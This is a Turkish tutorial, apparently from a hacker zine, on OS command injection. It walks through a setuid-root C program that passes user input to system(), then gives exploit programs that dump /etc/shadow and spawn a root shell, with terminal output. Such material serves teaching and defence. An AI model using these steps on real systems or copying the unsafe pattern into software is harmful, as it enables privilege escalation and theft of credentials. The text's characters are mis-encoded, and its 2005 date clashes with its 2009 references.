---[ OS Command Injection Vulnerabilities [23/03/2005] ---[ murderkey #include #include int main(int argc, char *argv[]) { char komut[256]; if(argc<2) { printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n"); } memset(&komut,0,sizeof(komut)); strcat(komut, "time ./"); strcat(komut,argv[1]); system(komut); return 0; } Hatayý barýndýran kodumuzu derliyoruz ve programýmýzýn haklarýný deðiþtiriyoruz, senaryomuza göre, varsayalým ki programýmýz "root" haklarýyla yani en üst düzey kullanýcý haklarýyla çalýþýyor. murderkey@labs:~$ cc vuln.c -o vuln root@lab:~# chown root.root vuln root@lab:~# chmod +s vuln root@lab:~# exit murderkey@labs:~$ Yukarda ne yaptýk? Öncelikle programýmýzý derledik hemen ardýndan kullanýcý sahibini deðiþtirdik ve onun ardýndan da "+s" parametresi ile program calýþtýðý sürece calýþanýn o haklara sahip olmasýný saðladýk. Devam edelim ve programýmýzý çalýþtýralým, bakalým istediðimiz gerçekleþiyor mu? Ondan önce, ben ekrana basitçe "Merhaba Dünya" mesajini basan bir kod yazdým ve derledim amacim bu programýn iþlem hýzýný ögrenmek. murderkey@lab:~$ ./vuln helloworld Merhaba dunya real 0m0.002s user 0m0.000s sys 0m0.000s murderkey@lab:~$ Bir programcý klasiði olan merhaba dünya adlý ufak bir yazýlým yazdýk ve vuln adlý yazýlýmýmýzý hatýrlýyorsanýz parametre olarak girilen yazýlýmlarýn çalýþma hýzýný gösteriyordu, bizde parametre olarak Merhaba Dünya yazan programýmýzýn çalýþma hýzýný öðrenmek istedik.Buraya kadar yazýlýmýmýz sorunsuz çalýþtý görünürde hiçbirþey yok. Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklý davranan bir kullanýcý, programýnda farklý davranmasýna sebep olacaktýr. Biz burada helloworld adlý kod yerine baþka birþey calýþtýrsak ne olurdu? Örneðin, cat /etc/shadow adlý komutu çalýþtýran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde belirtilen komutlarý iþleyen bir kod yazalým. main(void) { system("cat /etc/shadow"); return 0; } murderkey@lab:~$ cc exp1.c -o exp1 murderkey@lab:~$ ./vuln exp1 ... sync:*:14062:0:99999:7::: games:*:14062:0:99999:7::: man:*:14062:0:99999:7::: lp:*:14062:0:99999:7::: mail:*:14062:0:99999:7::: news:*:14062:0:99999:7::: uucp:*:14062:0:99999:7::: ... real 0m0.003s user 0m0.000s sys 0m0.000s murderkey@lab:~$ Aklýmýza gelen fikir kusursuz iþe yaradý. Normal þartlar altýnda sistemde ki kullanýcýlarýn (user) kullandýðý þifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatýrlayýn zayýflýða sahip programýmýz üzerinden bir kod çalýþtýrdýk ve zayýflýða sahip yazýlým root yetkileriyle çalýþýyor bundan dolayý normal kullanýcý yetkilerine sahip bir kodu root yetkisiyle çalýþtýrmayý baþardýk. Þimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalýþarak sistemde ki eriþim seviyemizi en üst düzeye çekmeye çalýþalým, ayný þekilde "cat /etc/shadow" komutunu çalýþtýran kodumuzun tek satýrýný deðiþtirerek derliyoruz. main(void) { system("/bin/sh"); return 0; } murderkey@lab:~$ cc exp2.c -o exp2 murderkey@lab:~$ ./vuln exp2 real 0m0.002 user 0m0.000 sys 0m0.000 root@lab:~# id uid=0(root) gid=0(root) groups=0(root) Sonuç: Görüldüðü gibi tek satýrý deðiþtirerek programýmýzdaki zayýflýk sayesinde sistemde en üst düzey kullanýcý yetkisi yani "root" yetkisine ulaþtýk.Sanýrým NSA yaptýðý araþtýrmada sistemlere zarar veren en tehlikeli 25 açýk arasýnda 5. sýraya yazýmýzýn konusu olan Komut Enjeksiyonu hatasýný koymakla hata yapmamýþ.Çok basit ve gözden kaçmasý kolay olan fakat risk seviyesi oldukça yüksek bir hata, çeþitli filtrelemelerle veya kullanýcý haklarýnýn iyi ayarlanmasý (gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aþýlabilir.Benim amacým, bu yazýda durumun ciddiyetini programcýlara göstermek fakat talebe baðlý olarak çeþitli yazýlým açýklarýnýn (Buffer Overflow, Format String vs) nasýl engellenebileceðine dair ufak bir yazý yazýlabilir. Umarým bu yazý konunun ciddiyeti hakkýnda kafanýzda bir þeylerin oluþmasýna yardýmcý olmuþtur.Yazýda herhangi bir hata veya atladýðým nokta olduðunu düþünüyorsanýz iletiþime geçerek yardýmcý olabilirsiniz ve tabii bunun için üzgünüm. Referans: [1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors [2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article [3] Least Privilege http://www.hellcode.net/ppe.txt [4] FreeBSD Telnet Daemon Zero-Day (Yazýnýn yazýlmasýndan bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/